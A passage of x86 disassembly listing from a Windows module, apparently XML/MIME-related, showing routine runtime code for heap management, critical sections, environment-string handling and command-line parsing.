; sub_69B1C04C+81F7j ...
xor eax, eax
loc_69B24799: ; CODE XREF: sub_69B1C04C+81D9j
; sub_69B1C04C+8205j ...
mov [esi], eax
jmp loc_69B1C10D
; ---------------------------------------------------------------------------
loc_69B247A0: ; CODE XREF: sub_69B1C04C+8Cj
push offset sub_69B248A8
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
mov eax, [ebp-1Ch]
mov eax, [eax+8]
shr eax, 14h
test al, 1
jnz loc_69B1C10D
and dword ptr [ebp-20h], 0
cmp dword ptr [ebp+14h], 0
jz short loc_69B247DE
loc_69B247D0: ; CODE XREF: sub_69B1C04C+822Ej
; sub_69B1C04C+86F1j ...
push dword ptr [ebp+14h]
loc_69B247D3: ; CODE XREF: sub_69B1C04C+81BAj
; sub_69B1C04C+81E6j ...
push esi
call sub_69B17320
jmp loc_69B1C10D
; ---------------------------------------------------------------------------
loc_69B247DE: ; CODE XREF: sub_69B1C04C+8782j
push 1Ch
call sub_69B1D897
mov [ebp-94h], eax
jmp loc_69B242B6
; ---------------------------------------------------------------------------
loc_69B247F0: ; CODE XREF: sub_69B1C04C+70j
push offset dword_69B25ED4
jmp short loc_69B24803
; ---------------------------------------------------------------------------
loc_69B247F7: ; CODE XREF: sub_69B1C04C+65j
push offset dword_69B281F0
jmp short loc_69B24803
; ---------------------------------------------------------------------------
loc_69B247FE: ; CODE XREF: sub_69B1C04C+5Aj
push offset dword_69B248D8
loc_69B24803: ; CODE XREF: sub_69B1C04C+87A9j
; sub_69B1C04C+87B0j
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
loc_69B24813: ; CODE XREF: sub_69B1C04C+8303j
push dword ptr [ebp-1Ch]
loc_69B24816: ; CODE XREF: sub_69B1C04C+830Aj
; sub_69B1C04C+8345j
push esi
call sub_69B17320
jmp short loc_69B24869
; ---------------------------------------------------------------------------
loc_69B2481E: ; CODE XREF: sub_69B1C04C+4Fj
push offset dword_69B2AFC0
push dword ptr [ebp+18h]
call sub_69B1C1B8
test eax, eax
jz loc_69B1C10D
mov al, [edi+8Dh]
mov [ebp-95h], al
test al, al
jz loc_69B1C10D
push 18h
call sub_69B1D897
mov [ebp-9Ch], eax
test eax, eax
jz short loc_69B24865
push dword ptr [ebp-1Ch]
push edi
mov ecx, eax
call sub_69B1E03D
jmp short loc_69B24867
; ---------------------------------------------------------------------------
loc_69B24865: ; CODE XREF: sub_69B1C04C+8171j
; sub_69B1C04C+880Aj
xor eax, eax
loc_69B24867: ; CODE XREF: sub_69B1C04C+8181j
; sub_69B1C04C+84A5j ...
mov [esi], eax
loc_69B24869: ; CODE XREF: sub_69B1C04C+86BEj
; sub_69B1C04C+87D0j
and dword ptr [ebp-20h], 0
jmp loc_69B1C10D
; END OF FUNCTION CHUNK FOR sub_69B1C04C
; =============== S U B R O U T I N E =======================================
sub_69B24872 proc near ; DATA XREF: .text:69B1C124o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B24872 endp
; =============== S U B R O U T I N E =======================================
sub_69B2487B proc near ; DATA XREF: .text:69B1C128o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
jmp loc_69B1C10A
sub_69B2487B endp
; ---------------------------------------------------------------------------
align 4
dword_69B24898 dd 0D4D4A0FCh, 11D13B73h, 0C000B4B2h, 9625B94Fh
; DATA XREF: sub_69B1C04C:loc_69B2470Fo
; .data:off_69B990B8o
; =============== S U B R O U T I N E =======================================
sub_69B248A8 proc near ; DATA XREF: sub_69B1C04C:loc_69B247A0o
; .data:off_69B99070o
jmp edx
sub_69B248A8 endp
; ---------------------------------------------------------------------------
dw 2B8Dh
dd 11D18D2Dh, 0C000FCB2h, 0A915D94Fh
dword_69B248B8 dd 3F7F31ACh, 11D0E15Fh, 0C000259Ch, 8E9CC94Fh
; DATA XREF: sub_69B1C04C:loc_69B24755o
dword_69B248C8 dd 0F5078F16h, 11D3C551h, 0B989h, 21E21FF8hdword_69B248D8 dd 0F5078F15h, 11D3C551h, 0B989h, 21E21FF8h
; DATA XREF: sub_69B1C04C:loc_69B247FEo
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1BFF8
loc_69B248E8: ; CODE XREF: sub_69B1BFF8+11j
mov eax, 80004005h
jmp loc_69B1C047
; END OF FUNCTION CHUNK FOR sub_69B1BFF8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18AE3
loc_69B248F2: ; CODE XREF: sub_69B18AE3+11j
mov eax, 80004005h
jmp loc_69B18B36
; END OF FUNCTION CHUNK FOR sub_69B18AE3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18B65
loc_69B248FC: ; CODE XREF: sub_69B18B65+Fj
test edi, edi
jnz short loc_69B24908
loc_69B24900: ; CODE XREF: sub_69B18B65+BDB8j
and dword ptr [esi], 0
jmp loc_69B18BA6
; ---------------------------------------------------------------------------
loc_69B24908: ; CODE XREF: sub_69B18B65+17j
; sub_69B18B65+BD99j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0B4h]
mov ebx, eax
jmp loc_69B18B82
; ---------------------------------------------------------------------------
loc_69B24919: ; CODE XREF: sub_69B18B65+21j
cmp dword ptr [ebx+40h], 4
jz short loc_69B24900
jmp loc_69B18B8C
; ---------------------------------------------------------------------------
loc_69B24924: ; CODE XREF: sub_69B18B65+33j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0B4h]
cmp eax, ebx
jz loc_69B18B9E
mov ecx, [esi]
mov eax, [ecx]
call dword ptr [eax+18h]
jmp loc_69B18B7A
; END OF FUNCTION CHUNK FOR sub_69B18B65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1DE55
loc_69B24942: ; CODE XREF: sub_69B1DE55+15j
mov edi, [esi+0Ch]
shr eax, 1Fh
test al, 1
jnz short loc_69B2495E
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F8h]
test al, al
jnz short loc_69B2495E
xor bl, bl
jmp short loc_69B24960
; ---------------------------------------------------------------------------
loc_69B2495E: ; CODE XREF: sub_69B1DE55+6AF5j
; sub_69B1DE55+6B03j
mov bl, 1
loc_69B24960: ; CODE XREF: sub_69B1DE55+6B07j
mov ecx, esi
call sub_69B17355
mov esi, eax
xor eax, eax
test bl, bl
setnz al
inc eax
cmp esi, eax
jnz loc_69B1DF08
mov ecx, edi
call sub_69B1E0E2
jmp loc_69B1DF08
; ---------------------------------------------------------------------------
loc_69B24985: ; CODE XREF: sub_69B1DE55+23j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F8h]
jmp loc_69B1DF0F
; ---------------------------------------------------------------------------
loc_69B24994: ; CODE XREF: sub_69B1DE55+33j
shr ebx, 3
jmp loc_69B1DE90
; ---------------------------------------------------------------------------
loc_69B2499C: ; CODE XREF: sub_69B1DE55+58j
mov ecx, [ebp+var_8]
call sub_69B1E0E2
jmp loc_69B1DEB3
; ---------------------------------------------------------------------------
loc_69B249A9: ; CODE XREF: sub_69B1DE55+72j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F8h]
test al, al
jnz loc_69B1DECD
xor cl, cl
jmp loc_69B1DECF
; ---------------------------------------------------------------------------
loc_69B249C2: ; CODE XREF: sub_69B1DE55+7Ej
mov eax, [ebp+var_C]
shr eax, 3
jmp loc_69B1DEDB
; ---------------------------------------------------------------------------
loc_69B249CD: ; CODE XREF: sub_69B1DE55+98j
; sub_69B1DE55+A1j
push [ebp+var_C]
lea eax, [esi+4]
push eax
call sub_69B18788
cmp [ebp+var_1], 0
jz short loc_69B249E7
mov ecx, [ebp+var_8]
call sub_69B3F0A6
loc_69B249E7: ; CODE XREF: sub_69B1DE55+6B88j
mov [ebp+var_8], edi
mov [ebp+var_1], bl
jmp loc_69B1DEA9
; END OF FUNCTION CHUNK FOR sub_69B1DE55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1BEB8
loc_69B249F2: ; CODE XREF: sub_69B1BEB8+30j
push edi
lea eax, [esi+14h]
push eax
call sub_69B17320
test ebx, ebx
jnz loc_69B1BEEE
mov eax, [edi+8]
mov eax, [eax+10h]
cmp eax, dword_69B95A54
jnz loc_69B1BEEE
or dword ptr [esi+8], 2
mov ecx, [edi+8]
mov eax, [ecx]
push ebx
call dword ptr [eax+2Ch]
push eax
call sub_69B20F54
shl eax, 4
xor eax, [esi+8]
mov ecx, 3F0h
and eax, ecx
xor [esi+8], eax
mov eax, [esi+8]
mov edx, eax
and edx, ecx
cmp edx, 270h
jnz short loc_69B24A50
and eax, 0FFFFFC0Fh
mov [esi+8], eax
loc_69B24A50: ; CODE XREF: sub_69B1BEB8+8B8Ej
mov eax, [esi+8]
test eax, ecx
setnz cl
movzx ecx, cl
shl ecx, 0Eh
xor ecx, eax
and ecx, 4000h
xor ecx, eax
mov [esi+8], ecx
jmp loc_69B1BEEE
; END OF FUNCTION CHUNK FOR sub_69B1BEB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1DE10
loc_69B24A70: ; CODE XREF: sub_69B1DE10+11j
mov eax, 80004005h
jmp loc_69B1DE50
; END OF FUNCTION CHUNK FOR sub_69B1DE10
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1BE7F
loc_69B24A7A: ; CODE XREF: sub_69B1BE7F+13j
call sub_69B1DAA0
test eax, eax
jz loc_69B1BEB4
push 0
push esi
push [ebp+arg_4]
mov ecx, eax
push [ebp+arg_0]
call sub_69B15248
jmp loc_69B1BEAF
; END OF FUNCTION CHUNK FOR sub_69B1BE7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1A6EC
loc_69B24A9C: ; CODE XREF: sub_69B1A6EC+9j
xor eax, eax
retn 4
; END OF FUNCTION CHUNK FOR sub_69B1A6EC
; =============== S U B R O U T I N E =======================================
sub_69B24AA1 proc near ; DATA XREF: .text:69B199C4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B24AA1 endp
; =============== S U B R O U T I N E =======================================
sub_69B24AAA proc near ; DATA XREF: .text:69B199C8o
mov esp, [ebp-18h]
lea ecx, [ebp-1Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B2D599
call sub_69B2E860
jmp loc_69B11DE4
sub_69B24AAA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1E533
loc_69B24AC7: ; CODE XREF: sub_69B1E533+2Ej
push hEvent ; hEvent
call ds:SetEvent ; SetEvent
push 2710h ; dwMilliseconds
push 0 ; fWaitAll
push offset dword_69B95AF0 ; pHandles
push 1 ; nCount
call sub_69B80843
push dword_69B95AF0 ; hObject
call ds:CloseHandle ; CloseHandle
and dword_69B95AF0, 0
jmp loc_69B1E567
; END OF FUNCTION CHUNK FOR sub_69B1E533
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1E4CF
loc_69B24AFE: ; CODE XREF: sub_69B1E4CF+28j
push eax ; hObject
call ds:CloseHandle ; CloseHandle
mov [esi], ebx
jmp loc_69B1E4FD
; ---------------------------------------------------------------------------
loc_69B24B0C: ; CODE XREF: sub_69B1E4CF+41j
call sub_69B806C5
mov ecx, dword_69B95ADC
cmp ecx, ebx
jz short loc_69B24B28
mov esi, ecx
call sub_69B80A56
push esi
call sub_69B1B2B7
loc_69B24B28: ; CODE XREF: sub_69B1E4CF+664Aj
push offset stru_69B9B688 ; lpCriticalSection
mov dword_69B95ADC, ebx
call ebp ; DeleteCriticalSection
jmp loc_69B1E516
; ---------------------------------------------------------------------------
loc_69B24B3A: ; CODE XREF: sub_69B1E4CF+4Ej
push hModule ; hInstance
push offset ClassName ; "XMLMimeWnd"
call UnregisterClassA ; UnregisterClassA
mov word_69B95AEC, bx
jmp loc_69B1E523
; ---------------------------------------------------------------------------
loc_69B24B57: ; CODE XREF: sub_69B1E4CF+5Aj
mov esi, offset stru_69B9B6A0
push esi ; lpCriticalSection
call ds:EnterCriticalSection
mov ecx, dword_69B95AD8
cmp ecx, ebx
jz short loc_69B24B7C
push edi
mov edi, ecx
call sub_69B80DF3
push edi
call sub_69B1B2B7
pop edi
loc_69B24B7C: ; CODE XREF: sub_69B1E4CF+669Cj
push esi ; lpCriticalSection
mov dword_69B95AD8, ebx
call ds:LeaveCriticalSection
push esi ; lpCriticalSection
call ebp ; DeleteCriticalSection
jmp loc_69B1E52F
; END OF FUNCTION CHUNK FOR sub_69B1E4CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1B625
loc_69B24B91: ; CODE XREF: sub_69B1B625+43j
call edi ; GetProcessHeap
push eax ; hHeap
call ds:HeapFree
jmp loc_69B1B762
; ---------------------------------------------------------------------------
loc_69B24B9F: ; CODE XREF: sub_69B1B625+7Ej
or byte ptr dword_69B95B00+1, 80h
jmp loc_69B1B6A9
; ---------------------------------------------------------------------------
loc_69B24BAB: ; CODE XREF: sub_69B1B625+AEj
; sub_69B1B625+9595j
call sub_69B11F65
jmp loc_69B1B762
; ---------------------------------------------------------------------------
loc_69B24BB5: ; CODE XREF: sub_69B1B625+D0j
; sub_69B1B625+138j
call sub_69B11F44
jmp short loc_69B24BAB
; ---------------------------------------------------------------------------
loc_69B24BBC: ; CODE XREF: sub_69B1B625+101j
cmp eax, 2
jnz short loc_69B24C09
mov edx, 8Ch
call sub_69B1CE89
mov esi, eax
test esi, esi
jz loc_69B1B762
push esi
push dword_69B9267C
call dword_69B95B34
test eax, eax
push esi
jz short loc_69B24BFE
call sub_69B84D69
pop ecx
call ds:GetCurrentThreadId ; GetCurrentThreadId
or dword ptr [esi+4], 0FFFFFFFFh
mov [esi], eax
jmp loc_69B1B71C
; ---------------------------------------------------------------------------
loc_69B24BFE: ; CODE XREF: sub_69B1B625+95C0j
call sub_69B1D1FD
pop ecx
jmp loc_69B1B762
; ---------------------------------------------------------------------------
loc_69B24C09: ; CODE XREF: sub_69B1B625+959Aj
cmp eax, 3
jnz loc_69B1B71C
push 0
call sub_69B84F60
pop ecx
jmp loc_69B1B71C
; END OF FUNCTION CHUNK FOR sub_69B1B625
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1BAE5
loc_69B24C1F: ; CODE XREF: sub_69B1BAE5-23j
push edi
push esi
push ebx
call eax ; dword_69B96130
test eax, eax
jnz loc_69B1BAC8
loc_69B24C2C: ; CODE XREF: sub_69B1BAE5:loc_69B1BAFFj
xor eax, eax
jmp loc_69B1BB24
; ---------------------------------------------------------------------------
loc_69B24C33: ; CODE XREF: sub_69B1BAE5+36j
push edi
push eax
push ebx
call sub_69B1B625
jmp loc_69B1B5F1
; ---------------------------------------------------------------------------
loc_69B24C40: ; CODE XREF: sub_69B1BAE5-4E2j
and [ebp+arg_4], eax
jmp loc_69B1B609
; ---------------------------------------------------------------------------
loc_69B24C48: ; CODE XREF: sub_69B1BAE5-4C5j
push edi
push esi
push ebx
call eax ; dword_69B96130
mov [ebp+arg_4], eax
jmp loc_69B1BB21
; END OF FUNCTION CHUNK FOR sub_69B1BAE5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B11482
loc_69B24C55: ; CODE XREF: sub_69B11482+4Dj
cmp ecx, 400h
jz short loc_69B24C7B
cmp ecx, 800h
jz short loc_69B24C74
cmp ecx, esi
jnz loc_69B114D5
or eax, edi
jmp loc_69B114D5
; ---------------------------------------------------------------------------
loc_69B24C74: ; CODE XREF: sub_69B11482+137E1j
or eax, ebp
jmp loc_69B114D5
; ---------------------------------------------------------------------------
loc_69B24C7B: ; CODE XREF: sub_69B11482+137D9j
or eax, 100h
jmp loc_69B114D5
; ---------------------------------------------------------------------------
loc_69B24C85: ; CODE XREF: sub_69B11482+66j
or eax, 40000h
jmp locret_69B114EE
; END OF FUNCTION CHUNK FOR sub_69B11482
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1D2AB
loc_69B24C8F: ; CODE XREF: sub_69B1D2AB+42j
cmp ecx, 100h
jz short loc_69B24CB7
cmp ecx, esi
jz short loc_69B24CAD
cmp ecx, edx
jnz loc_69B1D2F3
or eax, 0C00h
jmp loc_69B1D2F3
; ---------------------------------------------------------------------------
loc_69B24CAD: ; CODE XREF: sub_69B1D2AB+79EEj
or eax, 800h
jmp loc_69B1D2F3
; ---------------------------------------------------------------------------
loc_69B24CB7: ; CODE XREF: sub_69B1D2AB+79EAj
or eax, 400h
jmp loc_69B1D2F3
; ---------------------------------------------------------------------------
loc_69B24CC1: ; CODE XREF: sub_69B1D2AB+63j
or eax, 1000h
jmp locret_69B1D314
; END OF FUNCTION CHUNK FOR sub_69B1D2AB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1BA9C
loc_69B24CCB: ; CODE XREF: sub_69B1BA9C+Fj
call eax
jmp loc_69B1BAB1
; END OF FUNCTION CHUNK FOR sub_69B1BA9C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1BA12
loc_69B24CD2: ; CODE XREF: sub_69B1BA12+3Dj
; sub_69B1BA12+92DFj
mov eax, dword_69B9B79C
loc_69B24CD7: ; CODE XREF: sub_69B1BA12+92DBj
sub eax, 4
mov dword_69B9B79C, eax
cmp eax, dword_69B96124
jb loc_69B1BA55
cmp [eax], edi
jz short loc_69B24CD7
call dword ptr [eax]
jmp short loc_69B24CD2
; ---------------------------------------------------------------------------
loc_69B24CF3: ; CODE XREF: sub_69B1BA12+6Fj
mov dword_69B95B28, esi
push 8
call sub_69B1D1C5
pop ecx
push dword ptr [ebp+8] ; uExitCode
call sub_69B84D0D
; ---------------------------------------------------------------------------
unk_69B24D09 db 33h ; 3 ; DATA XREF: .text:69B1BA98o
db 0FFh
db 33h ; 3
db 0F6h ; ö
db 46h ; F
db 0E9h ; é
db 13h
db 0D2h ; Ò
db 0FEh ; þ
db 0FFh
; END OF FUNCTION CHUNK FOR sub_69B1BA12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1CD73
loc_69B24D13: ; CODE XREF: sub_69B1CD73+7j
call sub_69B11F44
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_69B24D1B: ; CODE XREF: sub_69B1CD73+E6j
xor eax, eax
jmp loc_69B1CE51
; END OF FUNCTION CHUNK FOR sub_69B1CD73
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1D1FD
loc_69B24D22: ; CODE XREF: sub_69B1D1FD+1Aj
push 4
call sub_69B113FC
pop ecx
and dword ptr [ebp-4], 0
push esi
call sub_69B85B4C
pop ecx
mov [ebp-1Ch], eax
test eax, eax
jz short loc_69B24D45
push esi
push eax
call sub_69B85B77
pop ecx
pop ecx
loc_69B24D45: ; CODE XREF: sub_69B1D1FD+7B3Dj
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B24D60
cmp dword ptr [ebp-1Ch], 0
jnz loc_69B1D22C
push dword ptr [ebp+8]
jmp loc_69B1D21E
; END OF FUNCTION CHUNK FOR sub_69B1D1FD
; =============== S U B R O U T I N E =======================================
sub_69B24D60 proc near ; CODE XREF: sub_69B1D1FD+7B4Cp
; DATA XREF: .text:69B1D240o
push 4
call sub_69B1D1C5
pop ecx
retn
sub_69B24D60 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19560
loc_69B24D69: ; CODE XREF: sub_69B19560+12j
push esi ; dwMilliseconds
call ds:Sleep ; Sleep
lea eax, [esi+3E8h]
cmp eax, 0EA60h
jbe loc_69B1957E
or eax, 0FFFFFFFFh
jmp loc_69B1957E
; END OF FUNCTION CHUNK FOR sub_69B19560
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1CE89
loc_69B24D89: ; CODE XREF: sub_69B1CE89+17j
push esi ; dwMilliseconds
call ds:Sleep ; Sleep
lea eax, [esi+3E8h]
cmp eax, 0EA60h
jbe loc_69B1CEAD
or eax, 0FFFFFFFFh
jmp loc_69B1CEAD
; END OF FUNCTION CHUNK FOR sub_69B1CE89
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B11383
loc_69B24DA9: ; CODE XREF: sub_69B11383+B125j
mov eax, [ebp-28h]
cmp eax, esi
jz loc_69B1C4AE
mov edi, [eax]
lea ebx, [eax+4]
lea eax, [edi+ebx]
mov [ebp-60h], eax
mov eax, 800h
cmp edi, eax
jl short loc_69B24DCA
mov edi, eax
loc_69B24DCA: ; CODE XREF: sub_69B11383+13A43j
xor esi, esi
inc esi
jmp short loc_69B24E14
; ---------------------------------------------------------------------------
loc_69B24DCF: ; CODE XREF: sub_69B11383+13A97j
mov ecx, 480h
call sub_69B19560
test eax, eax
jz short loc_69B24E1E
lea ecx, dword_69B96020[esi*4]
mov [ecx], eax
add uNumber, 20h
lea edx, [eax+480h]
jmp short loc_69B24E0F
; ---------------------------------------------------------------------------
loc_69B24DF5: ; CODE XREF: sub_69B11383+13A8Ej
mov byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
and dword ptr [eax+8], 0
add eax, 24h
mov edx, [ecx]
add edx, 480h
loc_69B24E0F: ; CODE XREF: sub_69B11383+13A70j
cmp eax, edx
jb short loc_69B24DF5
inc esi
loc_69B24E14: ; CODE XREF: sub_69B11383+13A4Aj
cmp uNumber, edi
jl short loc_69B24DCF
jmp short loc_69B24E24
; ---------------------------------------------------------------------------
loc_69B24E1E: ; CODE XREF: sub_69B11383+13A58j
mov edi, uNumber
loc_69B24E24: ; CODE XREF: sub_69B11383+13A99j
and dword ptr [ebp-64h], 0
test edi, edi
jle loc_69B1C4AE
loc_69B24E30: ; CODE XREF: sub_69B11383+13B16j
mov eax, [ebp-60h]
mov ecx, [eax]
cmp ecx, 0FFFFFFFFh
jz short loc_69B24E8E
mov al, [ebx]
test al, 1
jz short loc_69B24E8E
test al, 8
jnz short loc_69B24E4F
push ecx ; hFile
call ds:GetFileType ; GetFileType
test eax, eax
jz short loc_69B24E8E
loc_69B24E4F: ; CODE XREF: sub_69B11383+13ABFj
mov eax, [ebp-64h]
mov ecx, eax
sar ecx, 5
and eax, 1Fh
lea eax, [eax+eax*8]
mov ecx, dword_69B96020[ecx*4]
lea esi, [ecx+eax*4]
mov eax, [ebp-60h]
mov eax, [eax]
mov [esi], eax
mov al, [ebx]
mov [esi+4], al
push 0FA0h
lea eax, [esi+0Ch]
push eax
call sub_69B19C19
pop ecx
pop ecx
test eax, eax
jz loc_69B1C53E
inc dword ptr [esi+8]
loc_69B24E8E: ; CODE XREF: sub_69B11383+13AB5j
; sub_69B11383+13ABBj ...
inc dword ptr [ebp-64h]
inc ebx
add dword ptr [ebp-60h], 4
cmp [ebp-64h], edi
jl short loc_69B24E30
jmp loc_69B1C4AE
; ---------------------------------------------------------------------------
loc_69B24EA0: ; CODE XREF: sub_69B11383+B11Cj
or byte ptr [esi+4], 8
jmp loc_69B1C4FC
; END OF FUNCTION CHUNK FOR sub_69B11383
; =============== S U B R O U T I N E =======================================
sub_69B24EA9 proc near ; DATA XREF: .text:69B113F4o
xor eax, eax
inc eax
retn
sub_69B24EA9 endp
; =============== S U B R O U T I N E =======================================
sub_69B24EAD proc near ; DATA XREF: .text:69B113F8o
mov esp, [ebp-18h]
or eax, 0FFFFFFFFh
mov [ebp-4], eax
jmp loc_69B1C527
sub_69B24EAD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1949B
loc_69B24EBB: ; CODE XREF: sub_69B1949B+9j
call sub_69B1CFC6
jmp loc_69B194AA
; ---------------------------------------------------------------------------
loc_69B24EC5: ; CODE XREF: sub_69B1949B+16j
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_69B24ECA: ; CODE XREF: sub_69B1949B+5Bj
or eax, 0FFFFFFFFh
jmp loc_69B1D1F9
; ---------------------------------------------------------------------------
loc_69B24ED2: ; CODE XREF: sub_69B1949B+91j
push dword_69B95B18
call sub_69B1D1FD
and dword_69B95B18, 0
or eax, 0FFFFFFFFh
jmp loc_69B1D1F8
; END OF FUNCTION CHUNK FOR sub_69B1949B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1A319
loc_69B24EEC: ; CODE XREF: sub_69B1A319+26j
xor ecx, ecx
test edx, edx
setz cl
inc eax
mov edx, ecx
mov cl, 22h
jmp loc_69B1A36E
; ---------------------------------------------------------------------------
loc_69B24EFD: ; CODE XREF: sub_69B1A319+44j
inc dword ptr [esi]
test edi, edi
jz short loc_69B24F08
mov bl, [eax]
mov [edi], bl
inc edi
loc_69B24F08: ; CODE XREF: sub_69B1A319+ABE8j
inc eax
jmp loc_69B1A363
; ---------------------------------------------------------------------------
loc_69B24F0E: ; CODE XREF: sub_69B1A319+B7j
test dl, 1
jnz short loc_69B24F32
cmp [ebp+var_4], 0
jz short loc_69B24F25
lea ecx, [eax+1]
cmp byte ptr [ecx], 22h
jnz short loc_69B24F25
mov eax, ecx
jmp short loc_69B24F27
; ---------------------------------------------------------------------------
loc_69B24F25: ; CODE XREF: sub_69B1A319+ABFEj
; sub_69B1A319+AC06j
xor ebx, ebx
loc_69B24F27: ; CODE XREF: sub_69B1A319+AC0Aj
xor ecx, ecx
cmp [ebp+var_4], ecx
setz cl
mov [ebp+var_4], ecx
loc_69B24F32: ; CODE XREF: sub_69B1A319+ABF8j
shr edx, 1
jmp loc_69B1A3D6
; ---------------------------------------------------------------------------
loc_69B24F39: ; CODE XREF: sub_69B1A319+BFj
; sub_69B1A319+AC2Bj
test edi, edi
jz short loc_69B24F41
mov byte ptr [edi], 5Ch
inc edi
loc_69B24F41: ; CODE XREF: sub_69B1A319+AC22j
inc dword ptr [esi]
dec edx
jnz short loc_69B24F39
jmp loc_69B1A3DE
; ---------------------------------------------------------------------------
loc_69B24F4B: ; CODE XREF: sub_69B1A319+F9j
mov [edi], cl
inc edi
inc eax
inc dword ptr [esi]
jmp loc_69B1A418
; ---------------------------------------------------------------------------
loc_69B24F56: ; CODE XREF: sub_69B1A319+115j
inc eax
inc dword ptr [esi]
jmp loc_69B1A41D
; END OF FUNCTION CHUNK FOR sub_69B1A319
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1CF24
loc_69B24F5E: ; CODE XREF: sub_69B1CF24+6Ej
or eax, 0FFFFFFFFh
jmp loc_69B1CFBD
; END OF FUNCTION CHUNK FOR sub_69B1CF24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B112C0
loc_69B24F66: ; CODE XREF: sub_69B112C0+26j
call ds:GetLastError
cmp eax, 78h
jnz short loc_69B24F7D
mov eax, ebp
mov dword_69B95C48, eax
jmp loc_69B11375
; ---------------------------------------------------------------------------
loc_69B24F7D: ; CODE XREF: sub_69B112C0+13CAFj
mov eax, dword_69B95C48
jmp loc_69B11375
; ---------------------------------------------------------------------------
loc_69B24F87: ; CODE XREF: sub_69B112C0+38j
call edi ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_69B24FAF
jmp loc_69B112FE
; ---------------------------------------------------------------------------
loc_69B24F94: ; CODE XREF: sub_69B112C0+9Bj
push [esp+18h+var_8]
call sub_69B1D1FD
pop ecx
mov [esp+18h+var_8], ebx
jmp loc_69B11361
; ---------------------------------------------------------------------------
loc_69B24FA7: ; CODE XREF: sub_69B112C0+B8j
cmp eax, ebp
jz short loc_69B24FB6
cmp eax, ebx
jz short loc_69B24FB6
loc_69B24FAF: ; CODE XREF: sub_69B112C0+13CCDj
; sub_69B112C0+13D00j
xor eax, eax
jmp loc_69B1136E
; ---------------------------------------------------------------------------
loc_69B24FB6: ; CODE XREF: sub_69B112C0+13CE9j
; sub_69B112C0+13CEDj
call ds:GetEnvironmentStrings ; GetEnvironmentStrings
mov ebp, eax
cmp ebp, ebx
jz short loc_69B24FAF
cmp [ebp+0], bl
jz short loc_69B24FD1
loc_69B24FC7: ; CODE XREF: sub_69B112C0+13D0Aj
; sub_69B112C0+13D0Fj
inc eax
cmp [eax], bl
jnz short loc_69B24FC7
inc eax
cmp [eax], bl
jnz short loc_69B24FC7
loc_69B24FD1: ; CODE XREF: sub_69B112C0+13D05j
sub eax, ebp
inc eax
mov esi, eax
mov ecx, esi
call sub_69B19560
cmp eax, ebx
jz short loc_69B24FF7
mov ecx, esi
mov edx, ecx
shr ecx, 2
mov esi, ebp
mov edi, eax
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ebx, eax
loc_69B24FF7: ; CODE XREF: sub_69B112C0+13D1Fj
push ebp ; LPSTR
call ds:FreeEnvironmentStringsA ; FreeEnvironmentStringsA
jmp loc_69B1136C
; END OF FUNCTION CHUNK FOR sub_69B112C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1CD1E
loc_69B25003: ; CODE XREF: sub_69B1CD1E+31j
push 3F8h
call sub_69B85B04
test eax, eax
pop ecx
jnz loc_69B1CD55
push dword_69B96000 ; hHeap
call ds:HeapDestroy ; HeapDestroy
loc_69B25022: ; CODE XREF: sub_69B1CD1E+1Ej
xor eax, eax
retn
; END OF FUNCTION CHUNK FOR sub_69B1CD1E
; =============== S U B R O U T I N E =======================================
sub_69B25025 proc near ; CODE XREF: sub_69B11F65+7j
push ebx
xor ebx, ebx
cmp dword_69B9B784, ebx
push ebp
mov ebp, ds:HeapFree
jle short loc_69B2507C
push esi
mov esi, dword_69B9B788
push edi
mov edi, ds:VirtualFree
add esi, 0Ch
